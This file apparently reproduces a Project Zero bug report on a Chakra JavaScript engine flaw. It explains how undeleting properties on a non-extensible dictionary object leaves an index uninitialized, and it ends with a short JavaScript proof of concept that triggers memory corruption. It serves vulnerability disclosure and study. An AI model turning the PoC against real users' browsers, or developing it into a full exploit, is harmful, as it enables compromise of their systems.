95 lines
No EOL
3.2 KiB
HTML
95 lines
No EOL
3.2 KiB
HTML
<!--
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1281
|
|
|
|
Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.
|
|
|
|
bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
|
|
DynamicObject *const object,
|
|
TPropertyIndex *const propertyIndex)
|
|
{
|
|
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
|
|
{
|
|
return false;
|
|
}
|
|
|
|
*propertyIndex = deletedPropertyIndex;
|
|
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
|
|
return true;
|
|
}
|
|
|
|
bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
|
|
DynamicObject *const object,
|
|
const TPropertyIndex existingPropertyIndex,
|
|
TPropertyIndex *const propertyIndex)
|
|
{
|
|
...
|
|
|
|
if(!IsReusablePropertyIndex(existingPropertyIndex))
|
|
{
|
|
return false;
|
|
}
|
|
|
|
...
|
|
|
|
const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
|
|
Assert(reused);
|
|
|
|
...
|
|
return true;
|
|
}
|
|
|
|
|
|
BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
|
|
{
|
|
...
|
|
if (descriptor->Attributes & PropertyDeleted)
|
|
{
|
|
...
|
|
if(isUnordered)
|
|
{
|
|
TPropertyIndex propertyIndex;
|
|
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
|
|
{
|
|
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
|
|
descriptor = propertyMap->GetReferenceAt(propertyIndex);
|
|
}
|
|
}
|
|
|
|
if (IsNotExtensibleSupported)
|
|
{
|
|
bool isForce = (flags & PropertyOperation_Force) != 0;
|
|
if (!isForce)
|
|
{
|
|
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
|
|
{
|
|
return FALSE; <<------ (a)
|
|
}
|
|
}
|
|
}
|
|
...
|
|
descriptor->Attributes = PropertyDynamicTypeDefaults;
|
|
...
|
|
}
|
|
...
|
|
}
|
|
|
|
"TryUndeleteProperty" is calling "TryReuseDeletedPropertyIndex" on the assumption that the return value of it is always true. But if the method exits at (a), "descriptor->Attributes" will remain with "PropertyDeleted" set, and therefore we can call "TryUndeleteProperty" again and again until "deletedPropertyIndex" becames "NoSlots" which makes "TryReuseDeletedPropertyIndex" return false.
|
|
|
|
In the debug build, the PoC hits the assertion "Assert(reused);". In the release build, "propertyIndex" remains uninitialized, this will cause a memory corruption.
|
|
|
|
PoC:
|
|
-->
|
|
|
|
const kNumProperties = 100;
|
|
|
|
let o = {};
|
|
for (let i = 0; i < kNumProperties; ++i)
|
|
o['a' + i] = i;
|
|
|
|
Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible
|
|
|
|
for (let i = 0; i < kNumProperties; ++i)
|
|
delete o['a' + i];
|
|
|
|
for (let i = 0; i < 0x1000; ++i)
|
|
o['a0'] = 1; // calling TryUndeleteProperty again again |